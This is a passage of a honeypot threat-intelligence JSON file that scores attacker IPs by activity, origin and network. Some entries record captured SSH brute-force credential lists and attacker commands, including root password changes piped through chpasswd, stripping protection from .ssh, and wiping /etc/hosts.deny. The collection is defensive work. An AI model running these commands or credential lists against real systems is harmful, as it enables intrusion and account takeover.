      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:46:44.639000+00:00",
        "last_seen_30d": "2026-05-03T05:48:07.990000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.73.109.21": {
      "attack_count": 2,
      "first_seen": "2026-05-03T23:20:58.302Z",
      "last_seen": "2026-05-03T23:21:11.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T23:20:58.302000+00:00",
        "last_seen_30d": "2026-05-03T23:22:13.291000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.147.50.90": {
      "attack_count": 2,
      "first_seen": "2026-05-14T02:19:29.398Z",
      "last_seen": "2026-05-14T02:19:42.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:19:29.398000+00:00",
        "last_seen_30d": "2026-05-14T02:20:48.255000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.181.142.159": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:42:55.993Z",
      "last_seen": "2026-05-23T06:44:55.994Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tecamachalco",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:42:55.993000+00:00",
        "last_seen_30d": "2026-05-23T06:56:02.761000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.219.112.105": {
      "attack_count": 2,
      "first_seen": "2026-05-14T01:07:55.899Z",
      "last_seen": "2026-05-14T01:08:09.554Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ciudad Benito Ju\u00e1rez",
      "asn": 265594,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:07:55.899000+00:00",
        "last_seen_30d": "2026-05-14T01:09:17.479000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.121.236.238": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:57:53.113Z",
      "last_seen": "2026-05-23T02:59:53.117Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27717,
      "as_org": "Corporacion Digitel C.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:57:53.113000+00:00",
        "last_seen_30d": "2026-05-23T03:00:57.302000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.121.236.98": {
      "attack_count": 2,
      "first_seen": "2026-05-02T14:03:58.458Z",
      "last_seen": "2026-05-02T14:04:11.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27717,
      "as_org": "Corporacion Digitel C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T14:03:58.458000+00:00",
        "last_seen_30d": "2026-05-02T14:05:15.400000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.189.80.191": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:53:27.066Z",
      "last_seen": "2026-05-08T06:53:39.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:53:27.066000+00:00",
        "last_seen_30d": "2026-05-08T06:54:48.386000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.121.121.147": {
      "attack_count": 2,
      "first_seen": "2026-05-14T14:51:27.821Z",
      "last_seen": "2026-05-14T14:51:46.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ecatepec",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:51:27.821000+00:00",
        "last_seen_30d": "2026-05-14T14:53:33.173000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.21.136.181": {
      "attack_count": 2,
      "first_seen": "2026-05-22T02:31:33.891Z",
      "last_seen": "2026-05-22T02:31:47.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Dolna Oryahovitsa",
      "asn": 44247,
      "as_org": "Videosat 21 Vek OOD",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:31:33.891000+00:00",
        "last_seen_30d": "2026-05-22T02:32:50.029000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.6.114.51": {
      "attack_count": 2,
      "first_seen": "2026-05-17T11:02:05.309Z",
      "last_seen": "2026-05-17T11:02:17.870Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Nablus",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:02:05.309000+00:00",
        "last_seen_30d": "2026-05-17T11:03:27.222000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.25.66.153": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:59:46.042Z",
      "last_seen": "2026-05-22T14:00:25.202Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:59:46.042000+00:00",
        "last_seen_30d": "2026-05-22T14:01:36.262000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.61.188.245": {
      "attack_count": 2,
      "first_seen": "2026-05-14T04:04:23.212Z",
      "last_seen": "2026-05-14T04:04:36.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:04:23.212000+00:00",
        "last_seen_30d": "2026-05-14T04:05:46.491000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.168.88.90": {
      "attack_count": 2,
      "first_seen": "2026-05-02T18:55:46.866Z",
      "last_seen": "2026-05-02T18:55:59.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cama\u00e7ari",
      "asn": 268056,
      "as_org": "LEXCOM TELECOM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:55:46.866000+00:00",
        "last_seen_30d": "2026-05-02T18:57:02.383000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.179.134.0": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:06:24.466Z",
      "last_seen": "2026-05-09T14:06:37.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vila Velha",
      "asn": 269079,
      "as_org": "SUPERNETMAIS TELECOMUNICACOES LTDA",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:06:24.466000+00:00",
        "last_seen_30d": "2026-05-09T14:07:48.126000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.162.24.241": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:59:24.353Z",
      "last_seen": "2026-05-22T16:59:38.417Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T12:47:16.033000+00:00",
        "last_seen_30d": "2026-05-22T17:00:43.566000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "77.239.14.221": {
      "attack_count": 2,
      "first_seen": "2026-05-05T07:33:34.798Z",
      "last_seen": "2026-05-05T07:33:49.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": "Sarajevo",
      "asn": 42560,
      "as_org": "Telemach BH d.o.o. Sarajevo",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:33:34.798000+00:00",
        "last_seen_30d": "2026-05-05T07:34:51.442000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.202": {
      "attack_count": 2,
      "first_seen": "2026-05-12T18:44:12.132Z",
      "last_seen": "2026-05-12T18:44:12.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T09:53:13+00:00",
        "last_seen_30d": "2026-05-23T15:52:03.648000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Redishoneypot": 3,
        "Cowrie": 2
      }
    },
    "213.209.159.142": {
      "attack_count": 2143,
      "first_seen": "2026-05-17T07:11:18.126Z",
      "last_seen": "2026-05-30T01:34:47.624Z",
      "sessions": 430,
      "ports": [],
      "usernames_attempted": [
        "bardengineering",
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "password123",
        "test123",
        "000000",
        "00000000",
        "007007",
        "0123456789",
        "101010",
        "102030",
        "1111",
        "11111",
        "111111",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3034,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:11:18.126000+00:00",
        "last_seen_30d": "2026-05-30T01:42:58.634000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2143,
        "Suricata": 891
      }
    },
    "101.36.107.233": {
      "attack_count": 755,
      "first_seen": "2026-05-07T11:51:34.648Z",
      "last_seen": "2026-05-31T21:26:53.517Z",
      "sessions": 104,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "admin",
        "345gs5662d34",
        "postgres",
        "guest",
        "sshvpn",
        "sysadmin",
        "abc",
        "administrator",
        "appuser",
        "ayjtnzjc",
        "cacheuser",
        "chris",
        "dbuser",
        "debian",
        "deploy",
        "deployuser",
        "es"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "123123",
        "1q2w3e4r",
        "!Q@W#E",
        "111111",
        "12",
        "123321",
        "1234",
        "123412345",
        "12345",
        "123abc",
        "12qwsazx",
        "1QAZ2WSX",
        "1q2w3e",
        "2003",
        "2089",
        "@mcbl*MWR"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\npm3HvjshJXcQ\\npm3HvjshJXcQ\\n\"|passwd",
        "echo \"Aa12345678\\n1VvK7wx3miJr\\n1VvK7wx3miJr\\n\"|passwd",
        "echo \"root:RflGD0C9CPQw\"|chpasswd|bash",
        "echo \"test321\\nXoL1JMhX6VgS\\nXoL1JMhX6VgS\\n\"|passwd",
        "echo -e \"1234\\npm3HvjshJXcQ\\npm3HvjshJXcQ\"|passwd|bash",
        "echo -e \"Aa12345678\\n1VvK7wx3miJr\\n1VvK7wx3miJr\"|passwd|bash",
        "echo -e \"test321\\nXoL1JMhX6VgS\\nXoL1JMhX6VgS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 62.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.9,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 988,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:51:34.648000+00:00",
        "last_seen_30d": "2026-05-31T21:28:03.085000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 755,
        "Suricata": 233
      }
    },
    "123.58.219.3": {
      "attack_count": 709,
      "first_seen": "2026-05-18T03:44:03.249Z",
      "last_seen": "2026-05-28T19:04:16.010Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "redis",
        "rizal",
        "alfresco",
        "ann",
        "deployer",
        "erika",
        "jenkins",
        "steam",
        "test2",
        "tomas",
        "unifi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "123123",
        "1234qwerASDF",
        "123qwe",
        "1q2w3e4r5T",
        "1qa@WS3ed",
        "ABC123",
        "ABcd@1234",
        "Admin123!",
        "Asdfghjkl;'",
        "Pa$$w0rd",
        "Qq1234567890",
        "Qwer@123",
        "Xu123456!",
        "alfresco",
        "ambiorix",
        "ann12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n1CuxYHJzUTnH\\n1CuxYHJzUTnH\\n\"|passwd",
        "echo \"123456\\nBvHAe0xnhkb7\\nBvHAe0xnhkb7\\n\"|passwd",
        "echo \"redis\\nGK6ORXdNuqwx\\nGK6ORXdNuqwx\\n\"|passwd",
        "echo \"root:X5Q1VgZIkTQ1\"|chpasswd|bash",
        "echo \"root:e2qrw0d7btKi\"|chpasswd|bash",
        "echo \"root:f7KA0qdvDkfq\"|chpasswd|bash",
        "echo \"root:gy7h8iOi2f3n\"|chpasswd|bash",
        "echo -e \"123456\\n1CuxYHJzUTnH\\n1CuxYHJzUTnH\"|passwd|bash",
        "echo -e \"123456\\nBvHAe0xnhkb7\\nBvHAe0xnhkb7\"|passwd|bash",
        "echo -e \"redis\\nGK6ORXdNuqwx\\nGK6ORXdNuqwx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 847,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T03:44:03.249000+00:00",
        "last_seen_30d": "2026-05-28T19:05:24.310000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 709,
        "Suricata": 138
      }
    },
    "207.180.231.53": {
      "attack_count": 560,
      "first_seen": "2026-05-03T13:18:22.085Z",
      "last_seen": "2026-05-03T13:34:01.189Z",
      "sessions": 280,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 847,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:18:22.085000+00:00",
        "last_seen_30d": "2026-05-03T13:35:06.182000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 560,
        "Suricata": 287
      }
    },
    "45.226.127.198": {
      "attack_count": 501,
      "first_seen": "2026-05-21T06:43:44.038Z",
      "last_seen": "2026-05-22T09:48:12.103Z",
      "sessions": 250,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cotia",
      "asn": 266962,
      "as_org": "G M DA COSTA INTERNET",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 755,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:43:44.038000+00:00",
        "last_seen_30d": "2026-05-22T09:51:13.090000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 501,
        "Suricata": 254
      }
    },
    "168.138.213.115": {
      "attack_count": 492,
      "first_seen": "2026-05-04T21:46:34.171Z",
      "last_seen": "2026-05-22T21:33:22.273Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "deploy",
        "ubuntu",
        "adminagora",
        "dani",
        "devops",
        "git",
        "itadmin",
        "nominatim",
        "pascal",
        "postgres",
        "proxyuser",
        "pun",
        "server",
        "soporte",
        "temp",
        "testuser",
        "vncuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111111111",
        "123",
        "123456",
        "123456456",
        "123456789",
        "123456aA.",
        "123qwe#",
        "1q2w3e4r5t",
        "3.1415",
        "9876543210",
        "A@12345678",
        "Admin@2026",
        "Welcome123",
        "a",
        "admin",
        "adminagora",
        "adrole1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
